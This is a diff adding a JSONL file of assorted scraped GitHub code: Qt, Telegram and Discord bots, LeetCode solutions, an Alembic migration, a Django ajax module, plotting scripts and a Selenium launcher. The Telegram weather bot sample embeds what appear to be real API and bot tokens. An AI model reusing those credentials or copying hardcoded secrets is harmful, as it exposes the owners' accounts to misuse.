diff --git "a/5086.jsonl" "b/5086.jsonl"
new file mode 100644--- /dev/null
+++ "b/5086.jsonl"
@@ -0,0 +1,1078 @@
+{"seq_id":"21319816153","text":"import sys\r\nimport PySide6.QtWidgets as pq\r\nimport PySide6.QtGui as pg\r\n\r\n\r\nclass colorPalette(pq.QWidget):\r\n\r\n    def __init__(self, color):\r\n        super(colorPalette, self).__init__()\r\n        self.setAutoFillBackground(True)\r\n\r\n        palette = self.palette()\r\n        palette.setColor(pg.QPalette.Window, pg.QColor(color))\r\n        self.setPalette(palette)\r\n\r\nclass MainWindow(pq.QMainWindow):\r\n    def __init__(self):\r\n        super().__init__()\r\n\r\n        tabs = pq.QTabWidget()\r\n        tabs.setTabPosition(pq.QTabWidget.West)\r\n        tabs.setMovable(True)\r\n\r\n        for n, color in enumerate([\"red\", \"blue\", \"green\", \"yellow\"]):\r\n            tabs.addTab(colorPalette(color), color)\r\n\r\n        self.setCentralWidget(tabs)\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    app = pq.QApplication(sys.argv)\r\n\r\n    window = MainWindow()\r\n    window.show()\r\n\r\n    app.exec()","repo_name":"StefanStahlCode/Tutorials","sub_path":"PySide6/tabwidget.py","file_name":"tabwidget.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36437352695","text":"class Solution:\n    def setZeroes(self, matrix: List[List[int]]) -> None:\n        \"\"\"\n        Do not return anything, modify matrix in-place instead.\n        \"\"\"\n        \n        h,w = len(matrix), len(matrix[0])\n        r,c = set(), set()\n        for i in range(h):\n            for j in range(w):\n                if matrix[i][j] == 0:\n                    r.add(i)\n                    c.add(j)\n                    \n        for i in range(h):\n            for j in range(w):\n                if i in r or j in c:\n                    matrix[i][j] = 0","repo_name":"sinoyuco/leetcode_solutions","sub_path":"array/zero_matrix_in_place.py","file_name":"zero_matrix_in_place.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37425333118","text":"import requests\n\nfrom telegram.ext import Updater, CommandHandler, Filters, MessageHandler\nimport logging\n\nOWM_API_KEY = '9b1099459b708345b4ed125e2b5eb05e'\n\ndef getWeather(city):\n    result = requests.get(f'https://api.openweathermap.org/data/2.5/weather?units=metric&q={city}&appid={OWM_API_KEY}')\n\n    result = result.json()\n\n    if(result.get('message')):\n        return result['message']\n\n    return f\"{result['main']['temp']}°C, {result['weather'][0]['main']}\"\n\n\nupdater = Updater(token='1566611420:AAGXpOeQ2MqNjPZ4d9pszwRC3_zCcQGqf2I', use_context=True)\ndispatcher = updater.dispatcher\n\nlogging.basicConfig(\n    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n    level=logging.INFO\n)\n\ndef start(update, context):\n    context.bot.send_message(chat_id=update.effective_chat.id, text=\"Hazar barev, expair, gri kaxaky anune anglerenov, axpers\")\n\ndef sendWeather(update, context):\n    context.bot.send_message(chat_id=update.effective_chat.id, text=getWeather(update.message.text.split()[-1]))\n\ndef forecast(update, context):\n    context.bot.send_message(chat_id=update.effective_chat.id, text=\"this feature is not ready yet\")\n\n\nstart_handler = CommandHandler('start', start)\ndispatcher.add_handler(start_handler)\n\nforecast_handler = CommandHandler('forecast', forecast)\ndispatcher.add_handler(forecast_handler)\n\nsendWeather_handler = MessageHandler(Filters.text & (~Filters.command), sendWeather)\ndispatcher.add_handler(sendWeather_handler)\n\nupdater.start_polling()","repo_name":"Mark-Renton-Y/sweater-weather-telegram-bot","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37396106264","text":"from random import seed,randint\nfrom time import time\n\ndef f(n,m):\n    if n ==1 or m == 1:\n        return 1\n    if n < m:\n        return f(n,n)\n    if n == m:\n        return 1 + f(n,n-1)\n    if n > m:\n        return f(n,m-1) + f(n-m,m)\ndef test():\n    mn,mx = 2,13\n    seed(time())\n    n,m = randint(mn,mx),randint(mn,mx)\n    cnt = f(n,m)\n    print(n,m,cnt)\n\nif __name__ == '__main__':\n    test()","repo_name":"GrearNose/Algorithm","sub_path":"Basic/integer_partition.py","file_name":"integer_partition.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"31517452895","text":"import matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport re\nimport os\n\ndef readForces(fileName,skip):\n    \"\"\"Read forces or moment from a force file using the forces function object in openfoam\"\"\"\n\n    f = open(fileName, \"r\")\n    lines = f.readlines()\n    f.close()\n\n    x=[]\n\n    for i in lines: #:Strip all (), , and [] from the file\n        if '#' in i:\n            continue\n        else:\n            i=(re.sub(' +', ',',re.sub('[\\t]', ' ',re.sub('[()]', '',i.rstrip(os.linesep)))))\n            x.append(i)\n\n    del x[0:skip]   #: Delete the values below the skip defined in the gui\n\n    data = np.empty((0,4))\n\n    for i in x:\n        d=np.fromstring(i, dtype=float, sep=',')\n        #print(d)\n        data = np.append(data,np.array([[d[0],d[1],d[2],d[3]]]),axis=0)\n\n    return data\n\ndef getEvery(arr,rows,step):\n    return arr.reshape(rows, step)\n\ndef averageLast10inEachRow(arr):\n    lst = [] \n    for i in arr:\n        me = np.mean(i[-11:])\n        lst.append(me)\n    return np.array(lst)\n\ndef getNumberFromFile(filename,searchString):\n    f1 = open(filename, 'r')  # open the file for reading\n    data = f1.readlines()  # read the entire file as a list of strings\n    f1.close()\n    for line in data:\n        match = re.search(searchString+r' \\s*(\\d+(?:\\.\\d+)?)', \" \".join(line.split()), re.IGNORECASE)\n        if match:\n            return float(match.group(1))\n        pass\n\n\n# input\n\nrads = getNumberFromFile('./constant/MRFProperties','omega')\ndensity = getNumberFromFile('./system/forces','rhoInf')\nflowPoints = 10\nittPrFlow = 200\n\n# Data for plotting\n# Read the moment\nm = readForces('./postProcessing/forces/0/moment.dat',0)\nmSort = getEvery(m[:,3],flowPoints,ittPrFlow)\nmFinal = averageLast10inEachRow(mSort)\n\n# Read the flowRate\nfr = np.loadtxt('./postProcessing/flowRatePatch/0/surfaceFieldValue.dat',comments='#')\nfrSort = getEvery(fr[:,1],flowPoints,ittPrFlow)\nfrFinal = averageLast10inEachRow(frSort)*3600 #m3/h\nprint(frFinal)\n\n# Read the pressure difference\npd = np.loadtxt('./postProcessing/pressureDifferencePatch/0/fieldValueDelta.dat',comments='#')\npdSort = getEvery(pd[:,1],flowPoints,ittPrFlow)\npdFinal = averageLast10inEachRow(pdSort)*density*-1*0.00010197 # Convert to absolute pressure and mH2O\nprint(pdFinal)\n\n\n# Shaft power\npower = (np.abs(mFinal) * rads)/1000.0 #power in kW\nprint(power)\n\n# Hydraulic power\nhydPower = (frFinal * density * 9.81 * pdFinal) / 3.6e06\n\n# Efficieny\neff = (hydPower/power)*100 # %\nprint(eff)\n\nfig, (ax1, ax2, ax3) = plt.subplots(3,1,figsize=(11.69,8.27),sharex=True)\nmatplotlib.rc('xtick', labelsize=14)     \nmatplotlib.rc('ytick', labelsize=14)\n\nax1.plot(frFinal,pdFinal,label=\"Head (m)\",linestyle='--', marker='o')\nax2.plot(frFinal,power*1000,label=\"Power (W)\",linestyle='--', marker='o')\nax3.plot(frFinal,eff,label=\"Eff (%)\",linestyle='--', marker='o')\n\nax1.set(ylabel='Head (m)')\nax2.set(ylabel='Power (W)')\nax3.set(xlabel='Flow (m3/h)', ylabel='Eff (%)')\nax1.minorticks_on()\nax2.minorticks_on()\nax3.minorticks_on()\nax1.grid(True, which='both')\nax2.grid(True, which='both')\nax3.grid(True, which='both')\nax1.legend(loc='upper right',ncol=1)\nax2.legend(loc='upper right',ncol=1)\nax3.legend(loc='upper right',ncol=1)\nax1.yaxis.label.set_size(16)\nax1.xaxis.label.set_size(16)\nax1.title.set_size(20)\nax2.yaxis.label.set_size(16)\nax2.xaxis.label.set_size(16)\nax2.title.set_size(20)\nax3.yaxis.label.set_size(16)\nax3.xaxis.label.set_size(16)\nax3.title.set_size(20)\n#fig.savefig('pumpcurve.pdf', dpi = 300)\nplt.show()","repo_name":"nelinnemann/of-cases","sub_path":"incompressible/simpleFoam/7BladedImpellerWithVolute/plotPumpCurve.py","file_name":"plotPumpCurve.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"3"}
+{"seq_id":"70072601361","text":"\nfrom discord.ext import commands\n\nfrom config import log\n\n\ndef admin_cmds(bot):\n    @bot.command()\n    @commands.has_any_role(\"Admin\")\n    async def shutdown(ctx):\n        await ctx.message.add_reaction(\"<:PepeOkay:779775701528215553>\")\n        await bot.close()\n        log.shutdown(ctx)\n","repo_name":"DasKeksNils/Keks-Bot","sub_path":"Commands/admin_c.py","file_name":"admin_c.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"3100432774","text":"\"\"\"add strain name assoc table\n\nRevision ID: f05fc486a0fd\nRevises: 079dae11cc2f\nCreate Date: 2020-04-05 13:47:22.600573\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'f05fc486a0fd'\ndown_revision = '079dae11cc2f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    assoc = op.create_table('strain_strain_name',\n    sa.Column('strain_id', sa.Integer(), nullable=True),\n    sa.Column('strain_name_id', sa.Integer(), nullable=True),\n    sa.ForeignKeyConstraint(['strain_id'], ['strain.id'], name=op.f('fk_strain_strain_name_strain_id_strain')),\n    sa.ForeignKeyConstraint(['strain_name_id'], ['strain_name.id'], name=op.f('fk_strain_strain_name_strain_name_id_strain_name'))\n    )\n\n    names = sa.Table(\n        \"strain_name\",\n        sa.MetaData(),\n        sa.Column(\"id\", sa.Integer, primary_key=True),\n        sa.Column(\"strain_id\", sa.Integer)\n    )\n\n    connection = op.get_bind()\n\n    values = [\n        {\"strain_id\": name.strain_id, \"strain_name_id\": name.id}\n        for name in connection.execute(names.select())\n    ]\n\n    op.bulk_insert(assoc, values)\n\n    with op.batch_alter_table('strain_name', schema=None) as batch_op:\n        batch_op.drop_constraint('fk_strain_name_strain_id_strain', type_='foreignkey')\n        batch_op.drop_column('strain_id')\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    with op.batch_alter_table('strain_name', schema=None) as batch_op:\n        batch_op.add_column(sa.Column('strain_id', sa.INTEGER(), nullable=True))\n        batch_op.create_foreign_key('fk_strain_name_strain_id_strain', 'strain', ['strain_id'], ['id'])\n\n    op.drop_table('strain_strain_name')\n    # ### end Alembic commands ###\n","repo_name":"gamcil/fungiphy","sub_path":"alembic/versions/f05fc486a0fd_add_strain_name_assoc_table.py","file_name":"f05fc486a0fd_add_strain_name_assoc_table.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"2427007412","text":"# coding: UTF-8\nfrom django.shortcuts import get_object_or_404\nfrom dajax.core import Dajax\nfrom dajaxice.decorators import dajaxice_register\nfrom dajaxice.utils import deserialize_form\nfrom django.utils import simplejson\nfrom django.template.loader import render_to_string\nfrom const.models import SchoolDict\nfrom const import *\nfrom const.models import *\nfrom adminStaff.utils import DateFormatTransfer\nfrom adminStaff.views import AdminStaffService\nfrom users.models import SchoolProfile, TeacherProfile, ExpertProfile\nfrom news.models import News\nfrom django.contrib.auth.models import User\nimport datetime\nfrom adminStaff.forms import TeacherDispatchForm, ExpertDispatchForm\nfrom school.forms import TeacherNumLimitForm, UsersForm, SubjectGradeForm\nfrom school.models import Project_Is_Assigned, InsituteCategory, TeacherProjectPerLimits,ProjectFinishControl,ProjectSingle, Re_Project_Expert, AchievementObjects, ProjectSingle\nfrom school.views import get_project_num_and_remaining, teacherLimitNumList\nfrom backend.logging import logger, loginfo\nfrom django.db.models import Q\nfrom school.utility import *\nfrom backend.decorators import *\ndef refresh_mail_table(request):\n    school = SchoolProfile.objects.get(userid=request.user)\n    if not school:\n        raise Http404\n    email_list  = AdminStaffService.GetRegisterListBySchool(school)\n    email_list.extend(AdminStaffService.GetRegisterExpertListBySchool(school))\n\n    return render_to_string(\"school/widgets/mail_table.html\",\n                            {\"email_list\": email_list})\n\ndef refresh_numlimit_table(request):\n    teacher_limit_num_list = teacherLimitNumList(request)\n    return render_to_string(\"school/widgets/numlimit_table.html\",\n                            {'teacher_limit_num_list': teacher_limit_num_list})\n\n@dajaxice_register\ndef  ExpertDispatch(request, form):\n    expert_form =  ExpertDispatchForm(deserialize_form(form))\n    if expert_form.is_valid():\n        password = expert_form.cleaned_data[\"expert_password\"]\n        email = expert_form.cleaned_data[\"expert_email\"]\n        name = email\n        person_name = expert_form.cleaned_data[\"expert_personname\"]\n        if password == \"\":\n            password = email.split('@')[0]\n        flag = AdminStaffService.sendemail(request, name, password, email,EXPERT_USER, expert_user=\"assigned_by_school\",person_name=person_name)\n        if flag:\n            message = u\"发送邮件成功\"\n            table = refresh_mail_table(request)\n            return simplejson.dumps({'field':expert_form.data.keys(), 'status':'1', 'message':message, 'table': table})\n        else:\n            message = u\"相同邮件已经发送，中断发送\"\n            return simplejson.dumps({'field':expert_form.data.keys(), 'status':'1', 'message':message})\n    else:\n        return simplejson.dumps({'field':expert_form.data.keys(),'error_id':expert_form.errors.keys(),'message':u\"输入有误\"})\n\n@dajaxice_register\ndef teacherProjNumLimit(request, form):\n    # dajax = Dajax()\n    form = TeacherNumLimitForm(deserialize_form(form), request = request)\n    if form.is_valid():\n\n        if form.cleaned_data['teacher_name'] == '-1': #特殊处理所有指导教师的批量处理问题\n            limited_num = form.cleaned_data['limited_num']\n            num_and_remaining = get_project_num_and_remaining(request)\n            test_sum = 0\n\n            for teacher in TeacherProfile.objects.filter(school__userid = request.user):\n                if TeacherProjectPerLimits.objects.filter(teacher = teacher).count() == 0:\n                    test_sum += limited_num\n                else:\n                    minnum = ProjectSingle.objects.filter(Q(adminuser = teacher) & Q(is_past = False)).count()\n                    test_sum += max(minnum, limited_num)\n            if test_sum > num_and_remaining['projects_remaining']:\n                return simplejson.dumps({'id': 'limited_num', 'message': u\"分配数量剩余不足\"})\n            for teacher in TeacherProfile.objects.filter(school__userid = request.user):\n                if TeacherProjectPerLimits.objects.filter(teacher = teacher).count() == 0:\n                    projLimit_obj = TeacherProjectPerLimits(teacher = teacher, number = limited_num)\n                    projLimit_obj.save()\n                else:\n                    projLimit_obj = TeacherProjectPerLimits.objects.get(teacher = teacher)\n                    minnum = ProjectSingle.objects.filter(Q(adminuser = teacher) & Q(is_past = False)).count()\n                    projLimit_obj.number = max(minnum, limited_num)\n                    projLimit_obj.save()\n            table = refresh_numlimit_table(request)\n            projects_remaining = get_project_num_and_remaining(request)['projects_remaining']\n            return simplejson.dumps({'message': \"批量更新成功\", 'status': \"1\", \"table\": table, 'projects_remaining': projects_remaining})\n\n        teacher_obj = TeacherProfile.objects.get(id=form.cleaned_data[\"teacher_name\"])\n        limited_num = form.cleaned_data[\"limited_num\"]\n        num_and_remaining = get_project_num_and_remaining(request)\n        # if num_and_remaining['projects_remaining'] < limited_num:\n        #     return simplejson.dumps({'id':\"limited_num\" ,'message':u'分配数量不能大于剩余数量'})\n        try:\n            if  TeacherProjectPerLimits.objects.filter(teacher=teacher_obj).count() == 0:\n                if num_and_remaining['projects_remaining'] < limited_num:\n                    return simplejson.dumps({'id':\"limited_num\" ,'message':u'分配数量剩余不足'})\n\n                projLimit_obj = TeacherProjectPerLimits(teacher=teacher_obj,\n                                                       number=limited_num)\n                projLimit_obj.save()\n            else:\n                projLimit_obj = TeacherProjectPerLimits.objects.get(teacher=teacher_obj)\n                if num_and_remaining['projects_remaining']+projLimit_obj.number < limited_num:\n                    return simplejson.dumps({'id':\"limited_num\" ,'message':u'分配数量剩余不足'})\n                minnum = ProjectSingle.objects.filter(Q(adminuser=teacher_obj)&Q(is_past=False)).count()\n                if limited_num < minnum:\n                    return simplejson.dumps({'message':u'更新失败,数量不得少于该老师已开始项目数量',})\n                projLimit_obj.number = limited_num\n                projLimit_obj.save()\n                # return simplejson.dumps({'id':\"teacher_name\" ,'message':u'已分配项目给该指导老师，不可重复分配'})\n            ret = {'status':'1','message':u'更新成功'}\n            ret['projects_remaining'] = get_project_num_and_remaining(request)['projects_remaining']\n            ret[\"table\"] = refresh_numlimit_table(request)\n            return simplejson.dumps(ret)\n        except TeacherProfile.DoesNotExist:\n            return simplejson.dumps({'id':'teacer_name', 'message':u'更新失败，选定的指导老师没有进行注册'})\n    else:\n        loginfo(form.fields[\"teacher_name\"].choices)\n        loginfo(p=form.errors.keys(),label=\"keys\")\n        loginfo(form.errors)\n        return simplejson.dumps({'id':form.errors.keys(),'message':u'输入错误'})\n@dajaxice_register\ndef Alloc_Project_to_Expert(request, expert_list, project_list):\n    flag = check_auth(user = request.user, authority = ADMINSTAFF_USER)\n    message = ''\n\n    if len(expert_list) == 0:\n        message = 'no expert input'\n    if len(project_list) == 0:\n        message = 'no project input'\n    for project_id in project_list:\n        project = get_object_or_404(ProjectSingle, project_id = project_id)\n        for expert_id in expert_list:\n            expert = ExpertProfile.objects.get(userid__email = expert_id)\n            try:\n                re_project_expert = Re_Project_Expert.objects.get(project = project, expert = expert, is_assign_by_adminStaff = flag)\n                re_project_expert.delete()\n            except:\n                pass\n            finally:\n                Re_Project_Expert(project = project, expert = expert, is_assign_by_adminStaff = flag).save()\n    if flag:\n        expert_list = ExpertProfile.objects.filter(assigned_by_adminstaff__userid = request.user)\n    else:\n        expert_list = ExpertProfile.objects.filter(assigned_by_school__userid = request.user)\n    expert_list = get_alloced_num(expert_list, flag)\n    expert_list_html = render_to_string('adminStaff/widgets/expert_list.html', {'expert_list':expert_list})\n    return simplejson.dumps({'message': message, 'expert_list_html': expert_list_html})\n\n@dajaxice_register\ndef Query_Alloced_Expert(request, project_id):\n    flag = check_auth(user = request.user, authority = ADMINSTAFF_USER)\n    message = ''\n\n    project = get_object_or_404(ProjectSingle, project_id = project_id)\n    expert_list = [item.expert for item in Re_Project_Expert.objects.filter(Q(project = project) & Q(is_assign_by_adminStaff = flag))]\n\n    expert_list_html = ''\n    for expert in expert_list:\n        expert_list_html += r'<p>' + expert.__str__() + r'</p>'\n\n    return simplejson.dumps({'message': message, 'expert_list_html': expert_list_html})\n\n@dajaxice_register\ndef Cancel_Alloced_Experts(request, project_list):\n    flag = check_auth(user = request.user, authority = ADMINSTAFF_USER)\n    message = ''\n\n    if len(project_list) == 0:\n        message = 'no project input'\n    for project_id in project_list:\n        project = get_object_or_404(ProjectSingle, project_id = project_id)\n        for re_project_expert in Re_Project_Expert.objects.filter(Q(project = project) & Q(is_assign_by_adminStaff = flag)):\n            re_project_expert.delete()\n    if flag:\n        expert_list = ExpertProfile.objects.filter(assigned_by_adminstaff__userid = request.user)\n    else:\n        expert_list = ExpertProfile.objects.filter(assigned_by_school__userid = request.user)\n    expert_list = get_alloced_num(expert_list, flag)\n    expert_list_html = render_to_string('adminStaff/widgets/expert_list.html', {'expert_list':expert_list})\n    return simplejson.dumps({'message': message, 'expert_list_html': expert_list_html})\n\n@dajaxice_register\ndef TeacherDispatch(request, form):\n    teacher_form =  TeacherDispatchForm(deserialize_form(form))\n    if teacher_form.is_valid():\n        uid = teacher_form.cleaned_data['teacher_uid']\n        email = teacher_form.cleaned_data[\"teacher_email\"]\n        school = SchoolProfile.objects.get(userid=request.user)\n        person_name = teacher_form.cleaned_data[\"teacher_personname\"]\n        username = 'T_{}'.format(uid.strip(' '))\n        flag = AdminStaffService.sendemail(\n            request, username, None, email, TEACHER_USER,\n            teacher_school=school, person_name=person_name)\n        if flag:\n            message = u\"发送邮件成功\"\n            table = refresh_mail_table(request)\n            return simplejson.dumps({'field':teacher_form.data.keys(), 'status':'1', 'message':message, 'table': table})\n        else:\n            message = u\"相同邮件已经发送或内部错误\"\n            return simplejson.dumps({'field':teacher_form.data.keys(), 'status':'1', 'message':message})\n    else:\n        return simplejson.dumps({'field':teacher_form.data.keys(),'error_id':teacher_form.errors.keys(),'message':u\"输入有误\"})\n\n@dajaxice_register\ndef judge_is_assigned(request):\n    try:\n        schoolObj = SchoolProfile.objects.get(userid = request.user)\n    except SchoolProfile.DoesNotExist:\n        return simplejson.dumps({'flag':None,'message':u\"SchoolProfile 数据不完全，请联系管理员更新数据库\"})\n    try:\n        obj = Project_Is_Assigned.objects.get(school = schoolObj)\n    except Project_Is_Assigned.DoesNotExist:\n        return simplejson.dumps({'flag':None,'message':u\"Project_Is_Assigned 数据不完全，请联系管理员更新数据库\"})\n    return simplejson.dumps({'flag': obj.is_assigned_in_presubmit})\n\n@dajaxice_register\ndef applicaton_control(request):\n    try:\n        schoolObj = SchoolProfile.objects.get(userid = request.user)\n    except SchoolProfile.DoesNotExist:\n        return simplejson.dumps({'flag':None,'message':u\"SchoolProfile 数据不完全，请联系管理员更新数据库\"})\n    if schoolObj.is_applying:\n        schoolObj.is_applying = False\n        schoolObj.save()\n    else:\n        schoolObj.is_applying =True\n        schoolObj.save()\n    flag=schoolObj.is_applying\n    return simplejson.dumps({'flag': flag})\n\n@dajaxice_register\ndef finish_control(request,year_list):\n    try:\n        schoolObj = SchoolProfile.objects.get(userid = request.user)\n    except SchoolProfile.DoesNotExist:\n        return simplejson.dumps({'flag':None,'message':u\"SchoolProfile 数据不完全，请联系管理员更新数据库\"})\n    user = User.objects.get(id=schoolObj.userid_id)\n    year_finishing_list = []\n    if schoolObj.is_finishing ==False:\n        if year_list != []:\n            for temp in year_list:\n                projectcontrol=ProjectFinishControl()\n                projectcontrol.userid=user\n                projectcontrol.project_year=temp\n                projectcontrol.save()\n            schoolObj.is_finishing=True\n            schoolObj.save()\n            flag = True\n\n            projectfinish = ProjectFinishControl.objects.filter(userid =user.id)\n            for finishtemp in projectfinish :\n                if finishtemp.project_year not in year_finishing_list:\n                    year_finishing_list.append(finishtemp.project_year)\n            year_finishing_list = sorted(year_finishing_list)\n        else:\n            return simplejson.dumps({'flag':None,'message':u\"项目年份未选择或是没有未结题项目\"})\n    else:\n        projectcontrol_list=ProjectFinishControl.objects.filter(userid=user)\n        projectcontrol_list.delete()\n        schoolObj.is_finishing=False\n        schoolObj.save()\n    flag = schoolObj.is_finishing\n    return simplejson.dumps({'flag': flag,'year_finishing_list':year_finishing_list})\n\n@dajaxice_register\ndef change_project_overstatus(request, project_id, changed_overstatus):\n    '''\n    change project overstatus\n    '''\n    choices = dict(OVER_STATUS_CHOICES)\n    if changed_overstatus in choices:\n        project_obj = ProjectSingle.objects.get(project_id = project_id)\n        try:\n            project_obj.over_status = OverStatus.objects.get(status = changed_overstatus)\n            project_obj.save()\n        except:\n            pass\n        res = choices[changed_overstatus]\n    else:\n        res = \"操作失败，请重试\"\n    return simplejson.dumps({'status':'1', 'res':res})\n\n@dajaxice_register\ndef isover_control(request,pid):\n    project=ProjectSingle.objects.get(project_id=pid)\n    if project.is_over:\n        project.is_over =False\n    else:\n        project.is_over = True\n    project.save()\n    return simplejson.dumps({\"flag\":project.is_over,\"pid\":pid})\n\n\n@dajaxice_register\ndef achievement_save(request, project_id, values, category):\n    context = {}\n    project = get_object_or_404(ProjectSingle, project_id = project_id)\n    is_finishing = check_finishingyear(project)\n    readonly = project.over_status.status not in (OVER_STATUS_NOTOVER,\n        OVER_STATUS_DELAY) or not is_finishing\n    if readonly:\n        return HttpResponse(\"readonly\")\n    ao = AchievementObjects(project_id=project, title=values[0], member=values[1],\n                            addition1=values[2], addition2=values[3],\n                            category=int(category))\n    ao.save()\n    related_ao = AchievementObjects.objects.filter(project_id=project)\n    context['objects']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_OBJECT)\n    context['papers']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_PAPER)\n    context['patents']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_PATENT)\n    context['competitions']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_COMPETITION)\n    return render_to_string(\"student/widgets/achievements.html\", context)\n\n\n@dajaxice_register\ndef achievement_delete(request, project_id, id):\n    context = {}\n    project = get_object_or_404(ProjectSingle, project_id=project_id)\n    is_finishing = check_finishingyear(project)\n    readonly = project.over_status.status != OVER_STATUS_NOTOVER or not is_finishing\n    if readonly:\n        return HttpResponse(\"readonly\")\n    ao = get_object_or_404(AchievementObjects, id=id)\n    ao.delete()\n    related_ao = AchievementObjects.objects.filter(project_id=project)\n    context['objects']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_OBJECT)\n    context['papers']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_PAPER)\n    context['patents']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_PATENT)\n    context['competitions']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_COMPETITION)\n    return render_to_string(\"student/widgets/achievements.html\", context)\n\n\n@time_controller(phase=STATUS_FINSUBMIT)\n@dajaxice_register\ndef search_project_in_rating(request, form_data, is_expired=False):\n    readonly = is_expired\n    form = UsersForm(deserialize_form(form_data))\n    if not form.is_valid():\n        return HttpResponse('404')\n    name = form.cleaned_data['teacher_student_name']\n    school = SchoolProfile.objects.get(userid=request.user)\n    subject_grade_form = SubjectGradeForm()\n    users_search_form = UsersForm()\n    try:\n        subject_list = get_current_project_query_set().filter(Q(student__name=name)|Q(adminuser__name=name))\n    except:\n        return HttpResponse(\"404\")\n    if not len(subject_list):\n        return HttpResponse('404')\n\n    limit, remaining = get_recommend_limit(school)\n    for subject in subject_list:\n        try:\n            subject.members = get_manager(subject)\n        except:\n            pass\n    undef_subject_list = filter(lambda x: (not x.recommend) and (x.project_grade.grade == GRADE_UN), subject_list)\n    def_subject_list = filter(lambda x: (x.recommend) or (x.project_grade.grade != GRADE_UN), subject_list)\n\n\n    context = {'subject_list': subject_list,\n               'undef_subject_list': undef_subject_list,\n               'def_subject_list': def_subject_list,\n               'subject_grade_form': subject_grade_form,\n               'readonly': readonly,\n               'limit': limit,\n               'remaining': remaining,\n               'is_minzu_school': IS_MINZU_SCHOOL,\n               'search_form': users_search_form,\n                }\n    return render_to_string('school/rating_project_table.html', context)\n\n\n@dajaxice_register\ndef title_change(request, email, new_title):\n    user = User.objects.filter(email = email)\n    if user:\n        for u in user:\n            teacher = TeacherProfile.objects.get(userid = u)\n            teacher.titles = new_title\n            teacher.save()\n        return simplejson.dumps({\"has_finish\": 1})\n    return simplejson.dumps({\"has_finish\": 0})\n","repo_name":"School-of-Innovation-Experiment/provinceManagement","sub_path":"school/ajax.py","file_name":"ajax.py","file_ext":"py","file_size_in_byte":18793,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"42798586522","text":"import sys\nimport matplotlib\n# matplotlib.use(\"SVG\")\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nMajorTicks = np.arange(0,1.01,0.1)\n\ndef optimalBound(c):\n    val = 1 / (2 * (c**2) - 1)\n    print(str(val))\n    return val\n\ndef genData():\n    \n    c = 1.0\n    arr = np.array([c, optimalBound(c)])\n    c = c + 0.05\n    while c < 3.0:\n        bound = optimalBound(c)\n        arr = np.append(arr, np.array([c, bound]), 0) \n        c = c + 0.05\n\n    print(arr)\n    return arr\n\ndef plot():\n    c = 1.0\n    y = np.array([c])\n    while c < 3.0:\n        c = c + 0.05\n        y = np.append(y, np.array([c]), 0) \n\n    x = 1 / (2 * (y**2) - 1)\n    plt.title('Relationship between c and rho')\n    plt.ylabel('rho')\n    plt.xlabel('c')\n    plt.yticks(np.arange(min(y), max(y)+1, 0.2))\n    plt.plot(x,y) \n    plt.savefig('./plots/rhoandc.png')\n    \n\n#MAIN\nmatplotlib.style.use(\"seaborn\")\nplot()\n","repo_name":"peturssonstefan/LSHonGPU","sub_path":"plotting/cPlot.py","file_name":"cPlot.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37040466674","text":"import os\nimport re\n\nfrom selenium import webdriver\nfrom selenium.webdriver import DesiredCapabilities\n\n\nPROJECTPATH = os.path.dirname(os.path.realpath(__file__))\n\ngeckodriver_path = os.path.join(PROJECTPATH, 'geckodriver')\nprofile_path = os.path.join(PROJECTPATH, 'clean_profile')\n\ncapabilities = DesiredCapabilities.FIREFOX.copy()\ncapabilities[\"moz:firefoxOptions\"] = {\n    \"args\": [\"--profile\", profile_path]\n}\n\n\ndef get_marionette_port(profile_path):\n    prefs_path = os.path.join(profile_path, 'prefs.js')\n    with open(prefs_path) as f:\n        marionette_port = re.search('\"marionette.port\", (\\d+?)\\)', f.read()).group(1)\n    return marionette_port\n\n#url = 'https://tesera.ru'\n\nurl = 'YOUR SITE HERE'\n\nmarionette_port = get_marionette_port(profile_path)\n\ndriver = webdriver.Firefox(executable_path=geckodriver_path, capabilities=capabilities, service_args=['--marionette-port', marionette_port])\ndriver.get(url)\ninput('Waiting for login...')\ndriver.quit()","repo_name":"Pooort/firefox_profile","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
